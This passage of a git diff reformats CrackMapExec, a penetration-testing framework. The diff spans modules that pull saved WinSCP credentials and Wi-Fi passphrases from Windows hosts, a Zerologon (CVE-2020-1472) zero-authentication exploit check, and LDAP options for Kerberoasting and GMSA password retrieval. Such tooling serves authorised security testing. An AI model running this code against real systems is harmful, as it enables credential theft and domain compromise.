context.log.fail("Error handling Users in registry") @@ -237,23 +250,32 @@ class CMEModule: for userObject in unloadedUserObjects: # Extract profile Path of NTUSER.DAT ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\' + userObject) - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject, + ) + keyHandle = ans["phkResult"] - userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'ProfileImagePath')[1].split('\x00')[:-1][0] + userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0] rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) # Load Profile ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "") + keyHandle = ans["phkResult"] context.log.debug("LOAD USER INTO REGISTRY: " + userObject) - rrp.hBaseRegLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject, userProfilePath + "\\" + "NTUSER.DAT") + rrp.hBaseRegLoadKey( + remoteOps._RemoteOperations__rrp, + keyHandle, + userObject, + userProfilePath + "\\" + "NTUSER.DAT", + ) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) finally: remoteOps.finish() @@ -268,10 +290,10 @@ class CMEModule: # Unload Profile ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "") + keyHandle = ans["phkResult"] for userObject in unloadedUserObjects: context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject) @@ -289,12 +311,16 @@ class CMEModule: remoteOps.enableRegistry() ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security", + ) + keyHandle = ans["phkResult"] - useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseMasterPassword')[1] + useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseMasterPassword")[1] rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) finally: remoteOps.finish() @@ -317,31 +343,38 @@ class CMEModule: # Retrieve how many sessions are stored in registry from each UserObject ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] for userObject in allUserObjects: try: - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Sessions') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions", + ) + keyHandle = ans["phkResult"] data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle) - sessions = data['lpcSubKeys'] - context.log.success("Found {} sessions for user \"{}\" in registry!".format(sessions - 1, self.userDict[userObject])) + sessions = data["lpcSubKeys"] + context.log.success('Found {} sessions for user "{}" in registry!'.format(sessions - 1, self.userDict[userObject])) # Get Session Names sessionNames = [] for i in range(sessions): - sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0]) + sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0]) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) - sessionNames.remove('Default%20Settings') + sessionNames.remove("Default%20Settings") if self.checkMasterpasswordSet(connection, userObject): context.log.fail("MasterPassword set! Aborting extraction...") continue # Extract stored Session infos for sessionName in sessionNames: - self.printCreds(context, self.registrySessionExtractor(context, connection, userObject, sessionName)) + self.printCreds( + context, + self.registrySessionExtractor(context, connection, userObject, sessionName), + ) except DCERPCException as e: - if str(e).find('ERROR_FILE_NOT_FOUND'): + if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.debug("No WinSCP config found in registry for user {}".format(userObject)) except Exception: context.log.fail("Unexpected error:") @@ -349,7 +382,7 @@ class CMEModule: self.unloadMissingUsers(context, connection, unloadedUserObjects) except DCERPCException as e: # Error during registry query - if str(e).find('rpc_s_access_denied'): + if str(e).find("rpc_s_access_denied"): context.log.fail("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.") except: context.log.fail("UNEXPECTED ERROR:") @@ -363,16 +396,16 @@ class CMEModule: config.read_string(confFile) # Stop extracting creds if Master Password is set - if (int(config.get('Configuration\\Security', 'UseMasterPassword')) == 1): + if int(config.get("Configuration\\Security", "UseMasterPassword")) == 1: context.log.fail("Master Password Set, unable to recover saved passwords!") return for section in config.sections(): - if config.has_option(section, 'HostName'): - hostName = unquote(config.get(section, 'HostName')) - userName = config.get(section, 'UserName') - if config.has_option(section, 'Password'): - encPassword = config.get(section, 'Password') + if config.has_option(section, "HostName"): + hostName = unquote(config.get(section, "HostName")) + userName = config.get(section, "UserName") + if config.has_option(section, "Password"): + encPassword = config.get(section, "Password") decPassword = self.decryptPasswd(hostName, userName, encPassword) else: decPassword = "NO_PASSWORD_FOUND" @@ -381,8 +414,8 @@ class CMEModule: def getConfigFile(self, context, connection): if self.filepath: - self.share = (self.filepath.split(':')[0] + "$") - path = self.filepath.split(':')[1] + self.share = self.filepath.split(":")[0] + "$" + path = self.filepath.split(":")[1] try: buf = BytesIO() @@ -397,23 +430,25 @@ class CMEModule: context.log.display("Looking for WinSCP creds in User documents and AppData...") output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True) users = [] - for row in output.split('\r\n'): + for row in output.split("\r\n"): users.append(row.strip()) users = users[2:] # Iterate over found users and default paths to look for WinSCP.ini files for user in users: - paths = [("\\Users\\" + user + "\\Documents\\WinSCP.ini"), - ("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini")] + paths = [ + ("\\Users\\" + user + "\\Documents\\WinSCP.ini"), + ("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"), + ] for path in paths: confFile = "" try: buf = BytesIO() connection.conn.getFile(self.share, path, buf.write) confFile = buf.getvalue().decode() - context.log.success("Found config file at \"{}\"! Extracting credentials...".format(self.share + path)) + context.log.success('Found config file at "{}"! Extracting credentials...'.format(self.share + path)) except: - context.log.debug("No config file found at \"{}\"".format(self.share + path)) + context.log.debug('No config file found at "{}"'.format(self.share + path)) if confFile: self.decodeConfigFile(context, confFile) diff --git a/cme/modules/wireless.py b/cme/modules/wireless.py index 8598478b..088d00d0 100644 --- a/cme/modules/wireless.py +++ b/cme/modules/wireless.py @@ -10,16 +10,14 @@ from cme.helpers.logger import highlight class CMEModule: - - name = 'wifi' + name = "wifi" description = "Get key of all wireless interfaces" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): - """ - """ + """ """ def on_admin_login(self, context, connection): host = connection.hostname + "." + connection.domain @@ -48,7 +46,7 @@ class CMEModule: conn = None try: - conn = DPLootSMBConnection(target) + conn = DPLootSMBConnection(target) conn.smb_session = connection.conn except Exception as e: context.log.debug("Could not upgrade connection: {}".format(e)) @@ -60,7 +58,7 @@ class CMEModule: masterkeys += masterkeys_triage.triage_system_masterkeys() except Exception as e: context.log.debug("Could not get masterkeys: {}".format(e)) - + if len(masterkeys) == 0: context.log.fail("No masterkeys looted") return @@ -74,14 +72,19 @@ class CMEModule: except Exception as e: context.log.debug("Error while looting wifi: {}".format(e)) for wifi_cred in wifi_creds: - if wifi_cred.auth.upper() == 'OPEN': + if wifi_cred.auth.upper() == "OPEN": context.log.highlight("[OPEN] %s" % (wifi_cred.ssid)) - if wifi_cred.auth.upper() in ['WPAPSK', 'WPA2PSK']: + if wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK"]: try: - context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password.decode('latin-1'))) + context.log.highlight( + "[%s] %s - Passphrase: %s" + % ( + wifi_cred.auth.upper(), + wifi_cred.ssid, + wifi_cred.password.decode("latin-1"), + ) + ) except: context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password)) else: context.log.highlight("[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type)) - - diff --git a/cme/modules/zerologon.py b/cme/modules/zerologon.py index 5e0ee394..527f8f05 100644 --- a/cme/modules/zerologon.py +++ b/cme/modules/zerologon.py @@ -28,21 +28,29 @@ class CMEModule: def on_login(self, context, connection): self.context = context - if self.perform_attack('\\\\' + connection.hostname, connection.host, connection.hostname): + if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname): self.context.log.highlight("VULNERABLE") self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472") try: host = self.context.db.get_hosts(connection.host)[0] - self.context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, zerologon=True) + self.context.db.add_host( + host.ip, + host.hostname, + host.domain, + host.os, + host.smbv1, + host.signing, + zerologon=True, + ) except Exception as e: self.context.log.debug(f"Error updating zerologon status in database") def perform_attack(self, dc_handle, dc_ip, target_computer): # Keep authenticating until successful. Expected average number of attempts needed: 256. - self.context.log.debug('Performing authentication attempts...') + self.context.log.debug("Performing authentication attempts...") rpc_con = None try: - binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') + binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) @@ -51,15 +59,17 @@ class CMEModule: if result: return True else: - self.context.log.debug('\nAttack failed. Target is probably patched.') + self.context.log.debug("\nAttack failed. Target is probably patched.") except DCERPCException as e: - self.context.log.fail(f"Error while connecting to host: DCERPCException, " - f"which means this is probably not a DC!") + self.context.log.fail(f"Error while connecting to host: DCERPCException, " f"which means this is probably not a DC!") def fail(msg): cme_logger.debug(msg, file=sys.stderr) - cme_logger.debug('This might have been caused by invalid arguments or network issues.', file=sys.stderr) + cme_logger.debug( + "This might have been caused by invalid arguments or network issues.", + file=sys.stderr, + ) sys.exit(2) @@ -67,34 +77,34 @@ def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer): # Connect to the DC's Netlogon service. # Use an all-zero challenge and credential. - plaintext = b'\x00' * 8 - ciphertext = b'\x00' * 8 + plaintext = b"\x00" * 8 + ciphertext = b"\x00" * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. - flags = 0x212fffff + flags = 0x212FFFFF # Send challenge and authentication request. - nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) + nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, - dc_handle + '\x00', - target_computer + '$\x00', + dc_handle + "\x00", + target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - target_computer + '\x00', + target_computer + "\x00", ciphertext, - flags + flags, ) # It worked! - assert server_auth['ErrorCode'] == 0 + assert server_auth["ErrorCode"] == 0 return True except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. - if ex.get_error_code() == 0xc0000022: + if ex.get_error_code() == 0xC0000022: return None else: - fail(f'Unexpected error code from DC: {ex.get_error_code()}.') + fail(f"Unexpected error code from DC: {ex.get_error_code()}.") except BaseException as ex: - fail(f'Unexpected error: {ex}.') + fail(f"Unexpected error: {ex}.") diff --git a/cme/parsers/ip.py b/cme/parsers/ip.py index d42a8e05..9a1371e9 100755 --- a/cme/parsers/ip.py +++ b/cme/parsers/ip.py @@ -3,18 +3,17 @@ from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface + def parse_targets(target): try: - if '-' in target: - start_ip, end_ip = target.split('-') + if "-" in target: + start_ip, end_ip = target.split("-") try: end_ip = ip_address(end_ip) except ValueError: first_three_octets = start_ip.split(".")[:-1] first_three_octets.append(end_ip) - end_ip = ip_address( - ".".join(first_three_octets) - ) + end_ip = ip_address(".".join(first_three_octets)) for ip_range in summarize_address_range(ip_address(start_ip), end_ip): for ip in ip_range: diff --git a/cme/parsers/nessus.py b/cme/parsers/nessus.py index 11d1e640..4e9185d3 100644 --- a/cme/parsers/nessus.py +++ b/cme/parsers/nessus.py @@ -5,11 +5,11 @@ import xmltodict # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard protocol_dict = { - 'smb': {'ports': [445, 139], 'services': ['smb', 'cifs']}, - 'mssql': {'ports': [1433], 'services': ['mssql']}, - 'ssh': {'ports': [22], 'services': ['ssh']}, - 'winrm': {'ports': [5986, 5985], 'services': ['www', 'https?']}, - 'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['www', 'https?']} + "smb": {"ports": [445, 139], "services": ["smb", "cifs"]}, + "mssql": {"ports": [1433], "services": ["mssql"]}, + "ssh": {"ports": [22], "services": ["ssh"]}, + "winrm": {"ports": [5986, 5985], "services": ["www", "https?"]}, + "http": {"ports": [80, 443, 8443, 8008, 8080, 8081], "services": ["www", "https?"]}, } @@ -20,25 +20,25 @@ def parse_nessus_file(nessus_file, protocol): # Must return True otherwise xmltodict will throw a ParsingIterrupted() exception # https://github.com/martinblech/xmltodict/blob/master/xmltodict.py#L219 - if any('ReportHost' and 'ReportItem' in values for values in path): + if any("ReportHost" and "ReportItem" in values for values in path): item = dict(path) - ip = item['ReportHost']['name'] + ip = item["ReportHost"]["name"] if ip in targets: return True - port = item['ReportItem']['port'] - svc_name = item['ReportItem']['svc_name'] + port = item["ReportItem"]["port"] + svc_name = item["ReportItem"]["svc_name"] - if port in protocol_dict[protocol]['ports']: + if port in protocol_dict[protocol]["ports"]: targets.append(ip) - if svc_name in protocol_dict[protocol]['services']: + if svc_name in protocol_dict[protocol]["services"]: targets.append(ip) return True else: return True - with open(nessus_file, 'r') as file_handle: + with open(nessus_file, "r") as file_handle: xmltodict.parse(file_handle, item_depth=4, item_callback=handle_nessus_file) return targets diff --git a/cme/parsers/nmap.py b/cme/parsers/nmap.py index 2d72ee65..b7abb033 100644 --- a/cme/parsers/nmap.py +++ b/cme/parsers/nmap.py @@ -5,31 +5,34 @@ import xmltodict # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard protocol_dict = { - 'smb': {'ports': [445, 139], 'services': ['netbios-ssn', 'microsoft-ds']}, - 'mssql': {'ports': [1433], 'services': ['ms-sql-s']}, - 'ssh': {'ports': [22], 'services': ['ssh']}, - 'winrm': {'ports': [5986, 5985], 'services': ['wsman']}, - 'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['http', 'ssl/https']} + "smb": {"ports": [445, 139], "services": ["netbios-ssn", "microsoft-ds"]}, + "mssql": {"ports": [1433], "services": ["ms-sql-s"]}, + "ssh": {"ports": [22], "services": ["ssh"]}, + "winrm": {"ports": [5986, 5985], "services": ["wsman"]}, + "http": { + "ports": [80, 443, 8443, 8008, 8080, 8081], + "services": ["http", "ssl/https"], + }, } def parse_nmap_xml(nmap_output_file, protocol): targets = [] - with open(nmap_output_file, 'r') as file_handle: + with open(nmap_output_file, "r") as file_handle: scan_output = xmltodict.parse(file_handle.read()) - for host in scan_output['nmaprun']['host']: - if host['address'][0]['@addrtype'] != 'ipv4': + for host in scan_output["nmaprun"]["host"]: + if host["address"][0]["@addrtype"] != "ipv4": continue - ip = host['address'][0]['@addr'] - for port in host['ports']['port']: - if port['state']['@state'] == 'open': - if 'service' in port and (port['service']['@name'] in protocol_dict[protocol]['services']): + ip = host["address"][0]["@addr"] + for port in host["ports"]["port"]: + if port["state"]["@state"] == "open": + if "service" in port and (port["service"]["@name"] in protocol_dict[protocol]["services"]): if ip not in targets: targets.append(ip) - elif port['@portid'] in protocol_dict[protocol]['ports']: + elif port["@portid"] in protocol_dict[protocol]["ports"]: if ip not in targets: targets.append(ip) diff --git a/cme/paths.py b/cme/paths.py index 2f910b17..0642994b 100644 --- a/cme/paths.py +++ b/cme/paths.py @@ -2,14 +2,14 @@ import os import sys import cme -CME_PATH = os.path.expanduser('~/.cme') -TMP_PATH = os.path.join('/tmp', 'cme_hosted') -if os.name == 'nt': - TMP_PATH = os.getenv('LOCALAPPDATA') + '\\Temp\\cme_hosted' -if hasattr(sys, 'getandroidapilevel'): - TMP_PATH = os.path.join('/data', 'data', 'com.termux', 'files', 'usr', 'tmp', 'cme_hosted') -WS_PATH = os.path.join(CME_PATH, 'workspaces') -CERT_PATH = os.path.join(CME_PATH, 'cme.pem') -CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf') -WORKSPACE_DIR = os.path.join(CME_PATH, 'workspaces') -DATA_PATH = os.path.join(os.path.dirname(cme.__file__), 'data') +CME_PATH = os.path.expanduser("~/.cme") +TMP_PATH = os.path.join("/tmp", "cme_hosted") +if os.name == "nt": + TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\cme_hosted" +if hasattr(sys, "getandroidapilevel"): + TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "cme_hosted") +WS_PATH = os.path.join(CME_PATH, "workspaces") +CERT_PATH = os.path.join(CME_PATH, "cme.pem") +CONFIG_PATH = os.path.join(CME_PATH, "cme.conf") +WORKSPACE_DIR = os.path.join(CME_PATH, "workspaces") +DATA_PATH = os.path.join(os.path.dirname(cme.__file__), "data") diff --git a/cme/protocols/ftp.py b/cme/protocols/ftp.py index 5af0e19d..a06a181e 100644 --- a/cme/protocols/ftp.py +++ b/cme/protocols/ftp.py @@ -7,7 +7,6 @@ from ftplib import FTP, error_reply, error_temp, error_perm, error_proto class ftp(connection): - @staticmethod def proto_args(parser, std_parser, module_parser): ftp_parser = parser.add_parser('ftp', help="own stuff using FTP", parents=[std_parser, module_parser]) @@ -24,7 +23,7 @@ class ftp(connection): "protocol": "FTP", "host": self.host, "port": self.args.port, - "hostname": self.hostname + "hostname": self.hostname, } ) @@ -66,15 +65,11 @@ class ftp(connection): try: self.conn.login(user=username, passwd=password) - self.logger.success( - f"{username}:{process_secret(password)}" - ) + self.logger.success(f"{username}:{process_secret(password)}") self.conn.close() return True except Exception as e: - self.logger.fail( - f'{username}:{process_secret(password)} (Response:{e})' - ) + self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})") self.conn.close() return False diff --git a/cme/protocols/ftp/database.py b/cme/protocols/ftp/database.py index 773604de..bee42aaf 100644 --- a/cme/protocols/ftp/database.py +++ b/cme/protocols/ftp/database.py @@ -3,46 +3,62 @@ from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy import MetaData, Table -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from cme.logger import cme_logger + class database: def __init__(self, db_engine): self.CredentialsTable = None self.HostsTable = None + self.LoggedinRelationsTable = None self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) Session = scoped_session(session_factory) - # this is still named "conn" when it is the session object; TODO: rename - self.conn = Session() + self.sess = Session() @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "credentials" ( + db_conn.execute("""CREATE TABLE "credentials" ( "id" integer PRIMARY KEY, "username" text, "password" text - )''') + )""") - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute("""CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, - "ip" text, + "host" text, "port" integer, - "server_banner" text - )''') + "banner" text + )""") + db_conn.execute("""CREATE TABLE "loggedin_relations" ( + "id" integer PRIMARY KEY, + "credid" integer, + "hostid" integer, + FOREIGN KEY(credid) REFERENCES credentials(id), + FOREIGN KEY(hostid) REFERENCES hosts(id) + )""") def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) - self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) + self.CredentialsTable = Table( + "credentials", self.metadata, autoload_with=self.db_engine + ) + self.HostsTable = Table( + "hosts", self.metadata, autoload_with=self.db_engine + ) + self.LoggedinRelationsTable = Table( + "loggedin_relations", self.metadata, autoload_with=self.db_engine + ) except (NoInspectionAvailable, NoSuchTableError): print( "[-] Error reflecting tables - this means there is a DB schema mismatch \n" @@ -54,7 +70,7 @@ class database: def shutdown_db(self): try: - self.conn.close() + self.sess.close() # due to the async nature of CME, sometimes session state is a bit messy and this will throw: # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and # this would cause an unexpected state change to @@ -63,5 +79,4 @@ class database: def clear_database(self): for table in self.metadata.sorted_tables: - self.conn.execute(table.delete()) - + self.sess.execute(table.delete()) diff --git a/cme/protocols/ftp/db_navigator.py b/cme/protocols/ftp/db_navigator.py index afeb6af1..36777af1 100644 --- a/cme/protocols/ftp/db_navigator.py +++ b/cme/protocols/ftp/db_navigator.py @@ -15,4 +15,4 @@ class navigator(DatabaseNavigator): THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ - print_help(help_string) \ No newline at end of file + print_help(help_string) diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py index b76f8427..3f7055b0 100644 --- a/cme/protocols/ldap.py +++ b/cme/protocols/ldap.py @@ -17,8 +17,12 @@ from bloodhound.ad.authentication import ADAuthentication from bloodhound.ad.domain import AD from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE -from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, \ - UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION +from impacket.dcerpc.v5.samr import ( + UF_ACCOUNTDISABLE, + UF_DONT_REQUIRE_PREAUTH, + UF_TRUSTED_FOR_DELEGATION, + UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, +) from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError @@ -47,8 +51,9 @@ ldap_error_status = { "773": "STATUS_PASSWORD_MUST_CHANGE", "775": "USER_ACCOUNT_LOCKED", "50": "LDAP_INSUFFICIENT_ACCESS", + "0": "LDAP Signing IS Enforced", "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", - "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED" + "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", } @@ -56,27 +61,52 @@ def resolve_collection_methods(methods): """ Convert methods (string) to list of validated methods to resolve """ - valid_methods = ['group', 'localadmin', 'session', 'trusts', 'default', 'all', 'loggedon', - 'objectprops', 'experimental', 'acl', 'dcom', 'rdp', 'psremote', 'dconly', - 'container'] - default_methods = ['group', 'localadmin', 'session', 'trusts'] + valid_methods = [ + "group", + "localadmin", + "session", + "trusts", + "default", + "all", + "loggedon", + "objectprops", + "experimental", + "acl", + "dcom", + "rdp", + "psremote", + "dconly", + "container", + ] + default_methods = ["group", "localadmin", "session", "trusts"] # Similar to SharpHound, All is not really all, it excludes loggedon - all_methods = ['group', 'localadmin', 'session', 'trusts', 'objectprops', 'acl', 'dcom', 'rdp', 'psremote', 'container'] + all_methods = [ + "group", + "localadmin", + "session", + "trusts", + "objectprops", + "acl", + "dcom", + "rdp", + "psremote", + "container", + ] # DC only, does not collect to computers - dconly_methods = ['group', 'trusts', 'objectprops', 'acl', 'container'] - if ',' in methods: - method_list = [method.lower() for method in methods.split(',')] + dconly_methods = ["group", "trusts", "objectprops", "acl", "container"] + if "," in methods: + method_list = [method.lower() for method in methods.split(",")] validated_methods = [] for method in method_list: if method not in valid_methods: - cme_logger.error('Invalid collection method specified: %s', method) + cme_logger.error("Invalid collection method specified: %s", method) return False - if method == 'default': + if method == "default": validated_methods += default_methods - elif method == 'all': + elif method == "all": validated_methods += all_methods - elif method == 'dconly': + elif method == "dconly": validated_methods += dconly_methods else: validated_methods.append(method) @@ -86,24 +116,24 @@ def resolve_collection_methods(methods): # It is only one method = methods.lower() if method in valid_methods: - if method == 'default': + if method == "default": validated_methods += default_methods - elif method == 'all': + elif method == "all": validated_methods += all_methods - elif method == 'dconly': + elif method == "dconly": validated_methods += dconly_methods else: validated_methods.append(method) return set(validated_methods) else: - cme_logger.error('Invalid collection method specified: %s', method) + cme_logger.error("Invalid collection method specified: %s", method) return False def get_conditional_action(baseAction): class ConditionalAction(baseAction): def __init__(self, option_strings, dest, **kwargs): - x = kwargs.pop('make_required', []) + x = kwargs.pop("make_required", []) super(ConditionalAction, self).__init__(option_strings, dest, **kwargs) self.make_required = x @@ -122,11 +152,11 @@ class ldap(connection): self.os_arch = 0 self.hash = None self.ldapConnection = None - self.lmhash = '' - self.nthash = '' - self.baseDN = '' - self.target = '' - self.targetDomain = '' + self.lmhash = "" + self.nthash = "" + self.baseDN = "" + self.target = "" + self.targetDomain = "" self.remote_ops = None self.bootkey = None self.output_filename = None @@ -146,31 +176,64 @@ class ldap(connection): no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help='No smb connection') dgroup = ldap_parser.add_mutually_exclusive_group() - domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") - dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') + domain_arg = dgroup.add_argument( + "-d", + metavar="DOMAIN", + dest="domain", + type=str, + default=None, + help="domain to authenticate to", + ) + dgroup.add_argument( + "--local-auth", + action="store_true", + help="authenticate locally to each target", + ) no_smb_arg.make_required = [domain_arg] egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos") egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat") - egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat') + egroup.add_argument("--kerberoasting", help="Get TGS ticket ready to crack with hashcat") - vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") - vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") - vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD") - vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") + vgroup = ldap_parser.add_argument_group( + "Retrieve useful information on the domain", + "Options to to play with Kerberos", + ) + vgroup.add_argument( + "--trusted-for-delegation", + action="store_true", + help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION", + ) + vgroup.add_argument( + "--password-not-required", + action="store_true", + help="Get the list of users with flag PASSWD_NOTREQD", + ) + vgroup.add_argument( + "--admin-count", + action="store_true", + help="Get objets that had the value adminCount=1", + ) vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users") vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups") vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid") ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa") ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords") - ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided") + ggroup.add_argument( + "--gmsa-convert-id", + help="Get the secret name of specific gmsa or all gmsa if no gmsa provided", + ) ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA") bgroup = ldap_parser.add_argument_group("Bloodhound scan", "Options to play with bloodhoud") bgroup.add_argument("--bloodhound", action="store_true", help="Perform bloodhound scan") - bgroup.add_argument("-ns", '--nameserver', help="Custom DNS IP") - bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: 